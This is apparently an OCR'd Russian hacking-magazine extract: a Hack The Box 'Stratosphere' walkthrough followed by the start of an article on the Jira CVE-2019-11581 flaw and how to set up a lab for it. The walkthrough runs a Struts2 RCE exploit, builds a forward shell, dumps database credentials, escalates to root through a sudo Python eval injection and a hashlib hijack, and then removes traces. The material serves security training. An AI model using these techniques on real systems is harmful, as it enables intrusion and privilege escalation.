обновля ется с выходом новых вер сий, и, что немало важ но, он дей стви тель но
быс трый.

gobuster

Ука зав нуж ный хост через опцию   и сло варь для перебо ра имен дирек‐ 
торий  (один  из  стан дар тных  для  Kali)  через  ,  запус тим  перебор  в  рас‐ 
ширен ном  режиме  (опция    поз воля ет  выводить  най ден ные  URL‐адре са
в пол ном виде), сох раняя при этом вывод ути литы во внеш ний файл через 
для отчетнос ти.

‐u
‐w

‐e
‐o

 

 

root@kali:~# gobuster dir ‐u 'http://10.10.10.64' ‐w /usr/share/dir‐
buster/wordlists/directory‐list‐2.3‐medium.txt ‐e ‐o gobuster/stratos‐
phere.gobuster 

 
 

 
 

 
 

 
 

 
 
 

 
 

 
 

 
 

 
 

 

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.64
[+] Threads:        10
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory‐list‐2.3‐
medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2019/08/11 00:44:24 Starting gobuster
===============================================================
http://10.10.10.64/manager (Status: 302)
http://10.10.10.64/Monitoring (Status: 302)
Progress: 13738 / 220561 (6.23%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2019/08/11 00:45:39 Finished
===============================================================

Об наружив  два  любопыт ных  адре са,  я  оста новил  перебор  (боль ше  ничего
не  най дет ся,  поверь  на  сло во)  и  пошел  про верять  то,  что  пред ложил  мне
gobuster.
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Дру гие извес тные инс тру мен ты для бру та дирек‐ 
торий:

  —  минима лис тичный  бру тер,  написан ный
на  С.  Не  отли чает ся  высокой  ско ростью
работы;

•dirb

 —  популяр ный  ког да‐то  бру тер  с  гра‐ 
фичес ким  интерфей сом.  Сей час  в  OWASP
прек ратили раз витие это го про екта.

•dirbuster

/manager
Пе рей дя по адре су  , видим стан дар тный сер‐ 
вер‐менед жер Apache Tomcat. Дос тупа к нему у нас, конеч но же, нет.

http://10.10.10.64/manager

Сер вер‐менед жер Apache Tomcat

/Monitoring
На   — кое‐что гораз до инте рес нее.http://10.10.10.64/Monitoring

Action‐при ложе ние Apache Struts

От  кно пок  SIGN ON  и REGISTER  тол ку мало — обе  они  ведут  к  сооб щению
о том, что сайт все еще на ста дии раз работ ки.

«Сайт еще раз рабаты вает ся»

APACHE STRUTS
Глав ная зацеп ка — это  ‐при ложе ние, пред став ленное на веб‐стра нице
скрин шотом ранее, которое час то свя зано с фрей мвор ком Struts.

Action

Struts пред назна чен для соз дания веб‐при ложе ний, базиру ющих ся на тех‐ 
нологии   —  наборе  пра вил  и  спе цифи каций  для  Java,  который  опи‐ 
сыва ет архи тек туру сер верной плат формы для пос тро ения при ложе ний.

Java EE

Прос тыми сло вами, Struts — это реали зация кон цепции «модель — пред‐ 
став ление  —  кон трол лер»  (Model  —  View  —  Controller,  ),  соз данная
в Apache Software  Foundation.  Action  здесь  пред став ляет  собой  зап рос  кли‐ 
ента,  обра баты ваемый  кон трол лером  (сер вле том  ActionServlet)  на  сер вере.
Кру гово рот тра фика в мире Apache Struts изоб ражен на кар тинке ниже.

MVC

Вза имо дей ствие «кли ент — сер вер» для Apache Struts (источник —
NetBeans)

«Это, конеч но, здо рово, но что все это может дать для нашей задачи про ник‐ 
новения в сис тему?» — воп росишь ты. Не так дав но в механиз ме вза имо дей‐ 
ствия, опи сан ном выше, была обна руже на  , поз воля ющая выпол‐ 
нить про изволь ный код на уда лен ном хос те, рей тинг опас ности которой был
оце нен в мак сималь ные 10.0 по нотации CVSSv2.

уяз вимость
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В «Хакере» пуб ликовал ся 
,  а  так же  ана лиз  двух  более

новых проб лем со Struts 2: 
  и  ошиб ки, 

  с  помощью  манипу‐ 
ляций зап росами HTTP ( ).

раз бор упо мяну той уяз‐ 
вимос ти  с  видео

ды ры в модуле, отве‐ 
чающем  за  REST  API, поз воля ющей
внед рять  свой  namespace

CVE‐2018‐11776

Это, конеч но, не HeartBleed с его 11/10, но все рав но сов сем не пло хо. Пос‐ 
мотрим,  что  на  этот  счет  ска жет  searchsploit.  Так  как  пос ле  рас кры тия  уяз‐ 
вимос ти прош ло два года, готов пос порить, что на прос торах exploit‐db есть
кра сивый экс пло ит.

Ищем PoC с помощью searchsploit

По хоже,    —  имен но  то,  что  нам  нуж но.
Этот    на  Python  пред став ляет  собой  PoC,  который  демонс три рует
выпол нение  уяз вимос ти  CVE‐2017‐5638.  Из‐за  некор рек тной  обра бот ки
исклю чений  при  про цес синге  спе циаль но  сфор мирован ного  evil‐зна чения
для заголов ка   наруши телю дару ется RCE. Поп робу ем экс пло ит
в дей ствии.

exploits/linux/webapps/41570.py
скрипт

Content‐Type

 

 

root@kali:~# searchsploit ‐m exploits/multiple/webapps/42324.py 
root@kali:~# python 42324.py http://10.10.10.64/Monitoring/example/Wel‐
come.action id 

 
 

  

[*] CVE: 2017‐5638 ‐ Apache Struts2 S2‐045
[*] cmd: id

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

Итак, у нас есть спо соб уда лен ного выпол нения команд на сер вере. Забегая
впе ред,  дол жен  ска зать,  что  повысить  при виле гии  до  поль зовате ля  в  этой
вир туал ке мож но, прос то выпол няя коман ды таким спо собом, без пол ноцен‐ 
ного  реверс‐шел ла  (как мы делали,  ког да  зах ватыва ли  ,  к  при меру),
который,  как  выяс нилось,  невоз можно  получить  из‐за  жес ткой  филь тра ции
исхо дяще го  тра фика  HTTP.  Одна ко  мы  не  ищем  лег ких  путей,  к  тому  же
это отличная воз можность поп робовать в дей ствии один из спо собов получе‐ 
ния уда лен ной сес сии на уяз вимом хос те — Forward Shell.

Mischief

Forward Shell
Ос новная  идея  такого  спо соба  получе ния  коман дной  стро ки  зак люча ется
в  соз дании  на  машине  жер твы    (назовем  его  )
с  помощью    и  выход ного  фай ла  (назовем  его  ),  куда  будет
записы вать ся  вывод  команд.  Пос ле  чего  к    с  помощью  ути литы 
при вязы вает ся  про цесс  ,  вывод  которо го  перенап равля ется
в  . Флаг    ути литы   обес печива ет сох ранение про цес са выпол‐ 
нения  команд  даже  при  дос тижении  кон ца  фай ла  вход ного  канала  (ког да
коман ды не пос тупа ют).

име нован ного  канала stdin
mkfifo stdout

stdin tail
/bin/sh

stdout ‐f tail

Для более наг лядно го пред став ления про демонс три рую то, что я собира‐ 
юсь сде лать на локаль ной машине.

Име нован ные каналы на локаль ной машине

1. В  вер хней  панели  я  соз даю  име нован ный  пайп  ,  при вязы ваю  его
вход к шел лу  , а выход перенап равляю в файл  .

stdin

/bin/sh stdout

2. В ниж ней панели записы ваю коман ды в   и  читаю резуль тат выпол‐ 
нения из  , очи щая пос ле каж дого проч тения выход ной файл (что бы
получать вывод толь ко пос ледней инс трук ции).

stdin

stdout

Из инте рес ных фишек, которые хочет ся про ком менти ровать: такая схе ма вза‐ 
имо дей ствия  с  тер миналь ной  сес сией  поз воля ет  запоми нать  текущую
рабочую дирек торию и выпол нять коман ды от име ни дру гих про цес сов PTY (я
про демонс три ровал при мер с Python).

В  конеч ном  ито ге  эта  кон цепция  обре ла  свое  мес то  в  кро шеч ном
самопаль ном нас тупатель ном фрей мвор ке  , который дела ет при мер‐ 
но то же самое, что я показал, но авто мати зиро ван но и на уда лен ной машине,
обо рачи вая  зап рошен ные  поль зовате лем  коман ды  в  Base64  для  переда чи
по сети. Плюс в фоне под нима ется парал лель ный поток, который опра шива ет

  с  каким‐то  интерва лом  и  воз вра щает  его  содер жимое —  резуль тат
выпол нения пос ледней коман ды.

FwdSh3ll

stdout

Хо тел  бы  ска зать,  что  положу  фрей мворк  на  диск,  иду щий  в  ком плек те
с жур налом, но «Новое вре мя — новые веяния»… В общем, можешь перей ти
по ссыл ке и ска чать его самос тоятель но.
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За пись тер миналь ной сес сии работы фрей мвор ка
FwdSh3ll на при мере вир туал ки Stratosphere

В  чем  прин ципи аль ные  отли чия  от  широко  извес тных  схем  Reverse  Shell
и Bind Shell? В  том,  что ата куемый  хост никуда не отправ ляет  вывод выпол‐ 
ненных инс трук ций. Для него все про исхо дит проз рачно: если все выпол няет‐ 
ся  локаль но  (и  выпол нение  коман ды,  и  чте ние  резуль тата),  тог да  незачем
бить тре вогу и жаловать ся вся ким iptables. Но, конеч но, для успешной реали‐ 
зации это го необ ходимо под рукой иметь спо соб выпол нения кода на уда лен‐ 
ной машине, на чем все, собс твен но, и дер жится.
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https://asciinema.org/a/259376?autoplay=1


ПОЛЕТ

В СТРАТОСФЕРУ
ЛОМАЕМ STRUTS ЧЕРЕЗ ACTION‐

ПРИЛОЖЕНИЕ И МАСТЕРИМ FORWARD SHELL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ос матри ваем ся на хос те
Так или ина че, получив воз можность выпол нять коман ды на машине‐жер тве,
осмотрим ся, где мы ока зались. Для начала узна ем, кто мы и ког да было ском‐ 
пилиро вано ядро.

 

 

stratosphere> whoami 
 

  
stratosphere> id 

 
  
stratosphere> uname ‐a 

tomcat8

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

Linux stratosphere 4.9.0‐6‐amd64 #1 SMP Debian 4.9.82‐1+deb9u2 (2018‐02‐
21) x86_64 GNU/Linux

Как  и  ожи далось,  коман ды  выпол няют ся  от  име ни   — поль зовате ля
с низ кими при виле гиями, который кру тит веб‐сер вер.

tomcat8

Яд ро вер сии 4.9.0‐6, поэто му эска лация при виле гий при помощи 
не вари ант. Пос мотрим на фай ловую сис тему.

DirtyCow

 

 

stratosphere> ls ‐la 
 

 
 

 
 

 

 
 
 

 
  
stratosphere> file * 

 
 
 

 
 
 

total 24
drwxr‐xr‐x  5 root    root    4096 Aug 11 08:15 .
drwxr‐xr‐x 42 root    root    4096 Oct  3  2017 ..
lrwxrwxrwx  1 root    root      12 Sep  3  2017 conf ‐> /etc/tomcat8
‐rw‐r‐‐r‐‐  1 root    root      68 Oct  2  2017 db_connect
drwxr‐xr‐x  2 tomcat8 tomcat8 4096 Sep  3  2017 lib
lrwxrwxrwx  1 root    root      17 Sep  3  2017 logs ‐> ../../log/tom‐
cat8
drwxr‐xr‐x  2 root    root    4096 Aug 11 08:15 policy
drwxrwxr‐x  4 tomcat8 tomcat8 4096 Feb 10  2018 webapps
lrwxrwxrwx  1 root    root      19 Sep  3  2017 work ‐> ../../cache/tom‐
cat8

conf:       symbolic link to /etc/tomcat8
db_connect: ASCII text
lib:        directory
logs:       symbolic link to ../../log/tomcat8
policy:     directory
webapps:    directory
work:       symbolic link to ../../cache/tomcat8

Да леко  не  отхо дя,  наш ли  тек сто вый файл    с  авто риза цион ными
дан ными для под клю чения  к базе дан ных. Похоже,  что  это наша сле дующая
кон троль ная точ ка.

db_connect

 

 

stratosphere> cat db_connect 
 

 
 

  
 

 

[ssn]
user=ssn_admin
pass=AWs64@on*&

[users]
user=admin
pass=admin

PrivEsc: tomcat8 → richard
Взгля нем,  что  хра нит  база  дан ных  MySQL.  Сра зу  ска жу,  что  пер вый  набор
кре дов   — это  «кро личья  нора» для отвле чения  вни‐ 
мания,  под  этой  учет кой  в  базе  дан ных  пус то. Поэто му будем исполь зовать
вто рой набор.

ssn_admin:AWs64@on*&

 

 

stratosphere> mysql ‐u admin ‐p"admin" 
 

 
 

  
 

  

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 8
Server version: 10.1.26‐MariaDB‐0+deb9u1 Debian 9.1

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input 
statement.

Под клю чив шись от име ни адми на, зап росим таб лицы.

 

 

MariaDB [(none)]> show databases; 
 
 
 
 
 
 
 

  
MariaDB [(none)]> use users; 

 
 

  
 

MariaDB [users]> show tables; 
 
 
 
 
 

 
  
MariaDB [users]> select * from accounts; 

 
 
 
 
 

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| Database           |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| information_schema |
| users              |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
2 rows in set (0.00 sec)

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with ‐A

Database changed

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| Tables_in_users |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| accounts        |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
1 row in set (0.00 sec)

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+
| fullName         | password                  | username |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+
| Richard F. Smith | 9tc*rhKuG5TyXvUJOrE^5CK7k | richard  |
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+
1 row in set (0.00 sec)

В  базе    наш ли  таб личку    с  дра гоцен ным  содер жимым.  Выд‐ 
вину  уни каль ное  пред положе ние,  что  это  авто риза цион ные  дан ные  поль‐ 
зовате ля richard (и не про гадаю!).

users accounts

SSH — ПОРТ 22
Под клю чим ся к машине по SSH. Для удобс тва переда ем пароль как аргу мент
коман дной стро ки с помощью   и про пус каем про вер ку сер тифика та —
учеб ная все же машина.

sshpass

Внут ри машины по SSH

user.txt
За берем флаг поль зовате ля.

 

 

richard@stratosphere:~$ cat /home/richard/user.txt 
e610b298????????????????????????

И сра зу же пос мотрим на уже прив лекший наше вни мание скрипт  .test.py

#!/usr/bin/python3
import hashlib

def question():
   q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
   md5 = hashlib.md5()
   md5.update(q1.encode())
   if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
       print("Sorry, that's not right")
       return
   print("You got it!")
   q2 = input("Now what's this one? d24f6fb449855ff42344feff
18ee2819033529ff\n")
   sha1 = hashlib.sha1()
   sha1.update(q2.encode())
   if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee28190
33529ff':
       print("Nope, that one didn't work...")
       return
   print("WOW, you're really good at this!")
   q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
   md4 = hashlib.new('md4')
   md4.update(q3.encode())
   if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
       print("Yeah, I don't think that's right.")
       return
   print("OK, OK! I get it. You know how to crack hashes...")
   q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd
1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0
200a3e1a122aa738beff263b49d2443738eba41c943\n")
   blake = hashlib.new('BLAKE2b512')
   blake.update(q4.encode())
   if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f28
50883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a1
22aa738beff263b49d2443738eba41c943':
       print("You were so close! urg... sorry rules are rules.")
       return

   import os
   os.system('/root/success.py')
   return

question()

Нас про сят  раз ревер сить  нес коль ко  хешей,  обе щая при  этом ман ну  небес‐ 
ную в  виде выпол нения фай ла  .  Чувс твуя  здесь под вох,  я
начал искать иной спо соб экс плу ата ции скрип та.

/root/success.py

PrivEsc: richard → root. Спо соб 1
Пер вое,  что  бро сает ся  в  гла за,  —    при вязан  к  .  К  тому  же,
если сор вать пок ровы с сим воличес кой ссыл ки, ука зыва ющей на стан дар тный
интер пре татор,  вид но,  что  коман да    тоже  ука зыва ет  на  бинар ник
треть ей вер сии.

ше банг python3

python

 

 

richard@stratosphere:~$ ls ‐l /usr/bin/python 
lrwxrwxrwx 1 root root 16 Feb 11  2018 /usr/bin/python ‐> /usr/bin/
python3

Уже  вто рой  раз  нам  активно  вну шают  идею  запус тить  скрипт  имен но
с  помощью этой  вер сии Python. Не  сов сем обыч но,  не  прав да  ли? Памятуя
о том, кто вла делец фай ла, пос мотрим на вывод  .sudo ‐l

 

 

richard@stratosphere:~$ sudo ‐l 
 

 
  

 

Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/
usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py

Ока зыва ется,  что  все  поль зовате ли  могут  выпол нять    с  помощью 
 с повышен ными при виле гиями. Все бы ничего, вот толь ко

зна чок  «звез дочка»  пол ностью  раз вязыва ет  руки  всем  недоб рожела телям,
которые доб рались до это го эта па.  , что в Python 2 фун кция 
экви вален тна конс трук ции вида  . Поэто му запуск 
с помощью   через sudo поз волит поль зовате лю выпол нять
коман ды от име ни root, чем мы, собс твен но, и зай мем ся.

test.py
/usr/bin/python*

Из вес тно input()
eval(raw_input()) test.py

/usr/bin/python2

Смот рим, какие «питоны» дос тупны в сис теме.

 

 

richard@stratosphere:~$ ls ‐l /usr/bin/python* 

 

 
 

 
 
 

lrwxrwxrwx 1 root root      16 Feb 11  2018 /usr/bin/python ‐> /usr/bin/
python3
lrwxrwxrwx 1 root root       9 Jan 24  2017 /usr/bin/python2 ‐> python2.
7
‐rwxr‐xr‐x 1 root root 3779512 Nov 24  2017 /usr/bin/python2.7
lrwxrwxrwx 1 root root       9 Jan 20  2017 /usr/bin/python3 ‐> python3.
5
‐rwxr‐xr‐x 2 root root 4747120 Jan 19  2017 /usr/bin/python3.5
‐rwxr‐xr‐x 2 root root 4747120 Jan 19  2017 /usr/bin/python3.5m
lrwxrwxrwx 1 root root      10 Jan 20  2017 /usr/bin/python3m ‐> 
python3.5m

А  теперь  прос то  вызовем    с  помощью  Python
2 и подадим фун кции   (которая, по сути, и будет при нимать наш ввод) 

  для  получе ния  сес сии  супер поль зовате ля.  Для  это го  я  спер ва
импорти рую  модуль    с  помощью  гло баль ной  фун кции  импорта 

,  а  затем  вызову фун кцию    через  опе ратор  «точ ка».  Этот
трюк прой дет, потому что фун кция импорта как раз вер нет ссыл ку на объ ект
ука зан ного модуля  .

/home/richard/test.py
eval()

/bin/bash
os __im‐

port__() system()

os

 

 

richard@stratosphere:~$ sudo /usr/bin/python2 ~/test.py 
 

 
  
root@stratosphere:/home/richard# whoami 

 
  
root@stratosphere:/home/richard# id 

Solve: 5af003e100c80923ec04d65933d382cb
__import__('os').system('/bin/bash')

root

uid=0(root) gid=0(root) groups=0(root)

root.txt
 

 

root@stratosphere:/home/richard# cat /root/root.txt 
d41d8cd9????????????????????????

Кста ти, уже сей час мож но разоб лачить негодя ев, удос товерив шись в том, что
обе щан ного   не сущес тву ет:/root/success.py

 

 

root@stratosphere:/home/richard# ls /root/success.py 
ls: cannot access '/root/success.py': No such file or directory

Но в эпи логе мы все же сло маем пару хешей. Так, раз минки ради.

PrivEsc: richard → root. Спо соб 2
В  начале  исходни ка  нель зя  не  заметить  импорт  биб лиоте ки 
для  вычис ления  хеш‐зна чений  вво димых  строк.  Уго ним  эту  биб лиоте ку?
Для это го нам необ ходимо узнать порядок резол ва путей, по которым будут
импорти ровать ся модули. Сде лать это мож но пря мо из Python.

hashlib

 

 

richard@stratosphere:~$ python ‐c 'import sys; print(sys.path)' 
['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/
plat‐x86_64‐linux‐gnu', '/usr/lib/python3.5/lib‐dynload', '/usr/local/
lib/python3.5/dist‐packages', '/usr/lib/python3/dist‐packages']

Пус тые  кавыч ки  в  начале  озна чают  текущий рабочий  каталог  (CWD).  То,  что
надо! Соз дадим фей ковую биб лиоте ку   с нуж ным нам пей лоадом
(мож но пос тро ить реверс‐шелл или получить root‐сес сию так же, как и в пер‐ 
вом  спо собе,  но  для  прос тоты  я  огра ничусь  прос то  выводом  фла га
на экран — идея ясна).

hashlib.py

 

 

richard@stratosphere:~$ echo 'import os; os.system("cat 
/root/root.txt")' > hashlib.py 
richard@stratosphere:~$ ls ‐l *.py 

 ‐rw‐r‐‐r‐‐ 1 richard richard   43 Aug 11 12:45 hashlib.py
‐rwxr‐x‐‐‐ 1 root    richard 1507 Mar 19  2018 test.py

И со спо кой ной совестью запус тим скрипт:

 

 

richard@stratosphere:~$ sudo /usr/bin/python ~/test.py 
 

 
d41d8cd9????????????????????????
Solve: 5af003e100c80923ec04d65933d382cb
C

Чис тим сле ды пре быва ния в сис теме, и на этом все с этой вир туал кой.

 

 

richard@stratosphere:~$ rm hashlib.py 
richard@stratosphere:~$ rm /dev/shm/input* /dev/shm/output*

ЭПИЛОГ: БРУТИМ ХЕШИ
Шут ки ради поп рошу сво его дру га   решить пред лага емые тес том хеши.Джо на

John the Ripper ревер сит хеши

Скор мим их  ./home/richard/test.py

 

 

richard@stratosphere:~$ sudo /usr/bin/python ~/test.py 
 

 
 

 
 

 
 

 
 

 
 

Solve: 5af003e100c80923ec04d65933d382cb
kaybboo!
You got it!
Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
ninjaabisshinobi
WOW, you're really good at this!
How about this? 91ae5fc9ecbca9d346225063f23d2bd9
legend72
OK, OK! I get it. You know how to crack hashes...
Last one, I promise: 9e‐
febee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead‐
798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
Fhero6610
sh: 1: /root/success.py: not found

Что и тре бова лось доказать. Мораль — не верь на сло во под лым Python‐тес‐ 
там.

Тро фей

https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions
https://linux.die.net/man/1/sshpass
https://ru.wikipedia.org/wiki/%D0%A8%D0%B5%D0%B1%D0%B0%D0%BD%D0%B3_(Unix)
https://docs.python.org/2/library/functions.html#input
https://www.openwall.com/john/
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КАК ИСПОЛЬЗОВАТЬ
НОВУЮ УЯЗВИМОСТЬ В JIRA

aLLy
ONsec

@iamsecurity

ВЗЛОМ

Jira — мегапо пуляр ная  сис тема  для  отсле жива ния  оши бок,
орга низа ции  вза имо дей ствия  с  поль зовате лями  и  управле‐ 
ния  про екта ми.  Уяз вимость  поз воля ет  ата кующе му  выпол‐ 
нить  про изволь ный  код  на  целевой  сис теме  при  помощи
обыч ного  POST‐зап роса,  не  обла дая  при  этом  никаки ми
при виле гиями.  Давай  пос мотрим  на  при чины  это го  бага
и методы его экс плу ата ции.

INFO

Баг обна ружил иссле дова тель  .
Уяз вимость  получи ла    и  клас‐ 
сифици рует ся  как    —  «Инъ екция
в  сер верные  шаб лоны  в  Jira  на  стра ницах
обратной  свя зи  с  адми нис тра тором  и  мас совой
рас сылки».  Уяз вимы  вер сии  с  4.4.0  до  7.6.14,
с  7.7.0  до  7.13.5,  с  8.0.0  до  8.0.3,
с 8.1.0 до 8.1.2, а так же начиная с 8.2.0 и закан‐ 
чивая 8.2.3.

Да ниил Дмит риев
ста тус  кри тичес кой

CVE‐2019‐11581

СТЕНД
Вос про извести  необ ходимые  для  экс плу ата ции  усло вия  мож но  раз ными
метода ми. Я покажу два из них.

Ме тод 1: Docker
Са мый  лег кий  спо соб —  взять  готовые  кон тей неры  Docker 

. В фай ле ниже объ явля ются две машины: сама Jira и поч товый сер вер.
из  репози тория

Vulhub

CVE-2019-11581/docker-compose.yml
version: "2"
services:
 jira:
   image: vulhub/jira:8.1.0
   ports:
     ‐ "8080:8080"
   links:
     ‐ smtpd
 smtpd:
   build:
     context: .
     dockerfile: smtpd.Dockerfile

Ма шина с сер вером име ет имя  , где в качес тве демона SMTP выс тупа ет
. Этой прос тей шей реали зации дос таточ но,

что бы  про демонс три ровать  уяз вимость.  На  деле  поч товый  сер вер  может
быть абсо лют но любым.

smtpd
стан дар тный модуль Python smtpd

CVE-2019-11581/smtpd.Dockerfile
FROM python:3.6‐alpine3.9
COPY smtpd_server.py /smtpd_server.py
CMD ["python", "/smtpd_server.py"]
EXPOSE 1025

CVE-2019-11581/smtpd_server.py
import smtpd

class CustomSMTPServer(smtpd.SMTPServer):
 def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
   r = data.decode("utf‐8").split("\n")
   for l in r:
     if l.startswith("Subject:"):
       sys.stdout.write("[{0}] {1}\n".format(time.time(),l))
   sys.stdout.flush()
   return

server = CustomSMTPServer(('0.0.0.0', 1025), None)
sys.stdout.write("[+] Start SMTPServer on 0.0.0.0:1025\n")

В  скрип те  исполь зует ся  кас томный  обра бот чик  вхо дящих  сооб щений
для того, что бы логиро вать в кон соль заголо вок  . В нем будет содер‐ 
жать ся пей лоад.

Subject

При вес ти все это дело в рабочий вид мож но одной коман дой:

docker‐compose up ‐d

Пос ле  это го  на  пор те  8080  будет  запущен  экзем пляр  сис темы  Jira.  Нуж но
прой ти  нес ложный  про цесс  уста нов ки,  на  одном  эта пе  которо го  при дет ся
получить  три аль ный  ключ.  Ког да  уста нов ка  будет  завер шена,  понадо бит ся
еще нес коль ко дей ствий, что бы мож но было вос про извести уяз вимость.

Сна чала нас тро им Jira для работы с сер вером SMTP. Для это го от име ни
адми нис тра тора перехо дим в раз дел «Сис тема → Исхо дящая поч та» (System
→ Outgoing Mail) и нажима ем кноп ку « » (Add
SMTP Mail Server). В появив шей ся фор ме ука зыва ем необ ходимые дан ные.

До бавить SMTP поч товый сер вер

Нас трой ка под клю чения к сер веру SMTP в Jira

За тем  нуж но  вклю чить  фор му  обратной  свя зи.  Эта  нас трой ка  находит ся
в  раз деле  « »  (General  configuration),  кноп ка  «

» (Edit Settings).
Ос новные  нас трой ки Ре дак‐ 

тировать нас трой ки

Стра ница основных нас тро ек Jira

Нуж но вклю чить опцию «Фор ма свя зи с адми нис тра тора ми» (Contact Adminis‐
trators Form).

Вклю чаем опцию «Фор ма обратной свя зи» в нас трой ках Jira

Ок ружение готово.

Ме тод 2: руч ная уста нов ка
Для  тес тов  готовых  кон тей неров  будет  дос таточ но,  но  если  хочешь  глуб же
пог рузить ся в про исхо дящее, то даль ше я рас ска жу про вто рой вари ант стен‐ 
да.

Его  я  буду  исполь зовать  для  отладки,  что бы  показать  экс плу ата цию
изнутри.  Все  манипу ляции  будут  про изво дить ся  на  компь юте ре  с  Windows.
Сна чала нуж но   и уста новить его.ска чать Atlassian SDK

По том при помощи это го SDK  .ге нери руем шаб лон пла гина

atlas‐create‐jira‐plugin

Ге нера ция шаб лона пла гина для Jira с помощью Atlassian SDK

Пос ле  это го  будет  соз дана  дирек тория  с  име нем,  которое  было  ука зано
в  . Я буду выпол нять отладку в  , поэто му открою пап ку
с пла гином в этой IDE. Здесь в фай ле   мож но ука зать исполь зуемую
вер сию Jira. На момент написа ния статьи это была 7.13.0, и она уяз вима, так
что можешь оста вить как есть или поменять на любую дру гую неп ропат ченную
вер сию.

artifactId IntelliJ IDEA
pom.xml

pom.xml
<properties>
   <jira.version>8.1.0</jira.version>

За пус каем  Jira  в  отла доч ном  режиме  и  сбра сыва ем флаг 
, что бы раз решить отправ ку поч товых сооб щений.

atlassian.mail.
senddisabled

atlas‐debug ‐‐product jira ‐Datlassian.mail.senddisabled=false

Пос ле запус ка сер вера нуж но нас тро ить уда лен ную отладку в IDEA. Для это го
перехо дим в окно редак тирова ния кон фигура ций и соз даем новый сетап типа
Remote.

Нас трой ка уда лен ной отладки в IntelliJ IDEA

По умол чанию порт для отладки —  , а веб‐интерфейс будет находить ся
по адре су  .

5005
http://jirarce.vh:2990/jira

Те перь  нас тра иваем  Jira  по  ана логии  с  пер вым  вари антом  стен да  и  в
качес тве сер вера SMTP исполь зуем все тот же скрипт на Python.

Тес товое  окру жение  готово,  и  наконец‐то  мож но  перехо дить  к  раз бору
уяз вимос ти.

Продолжение статьи →

https://twitter.com/iamsecurity
https://twitter.com/ddv_ua
https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html
https://nvd.nist.gov/vuln/detail/CVE-2019-11581
https://github.com/vulhub/vulhub/tree/master/jira/CVE-2019-11581
https://docs.python.org/3/library/smtpd.html
http://jirarce.vh:8080/secure/admin/AddSmtpMailServer!default.jspa
http://jirarce.vh:8080/secure/admin/ViewApplicationProperties.jspa
http://jirarce.vh:8080/secure/admin/EditApplicationProperties!default.jspa
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/
https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/
https://www.jetbrains.com/idea/
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КАК ИСПОЛЬЗОВАТЬ НОВУЮ УЯЗВИМОСТЬ
В JIRA

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ДЕТАЛИ УЯЗВИМОСТИ
Ссыл ка на объ ект нашего тес тирова ния находит ся под фор мой авто риза ции.
Нажима ем на кноп ку и попада ем в  .фор му обратной свя зи

Фор ма для обратной свя зи с адми нис тра тором

За пол няем ее как угод но, но перед отправ кой ста вим брейк‐пой нт в отладчи‐ 
ке  на  метод    клас са 
и нажима ем Send.

setActionProperty JiraSafeActionParameterSetter

WEB-INF/classes/com/atlassian/jira/webwork/
JiraSafeActionParameterSetter.java
038: public class JiraSafeActionParameterSetter {
...
099:     private void setActionProperty(Method setterMethod, Action 
action, String[] paramValue) {
100:         Assertions.notNull("paramValue", paramValue);
101:         Assertions.notNull("setterMethod", setterMethod);
102:         Assertions.notNull("setterMethod", setterMethod.getPar
ameterTypes());
103:         Assertions.stateTrue("setterMethod", setterMethod.getPar
ameterTypes().length == 1);
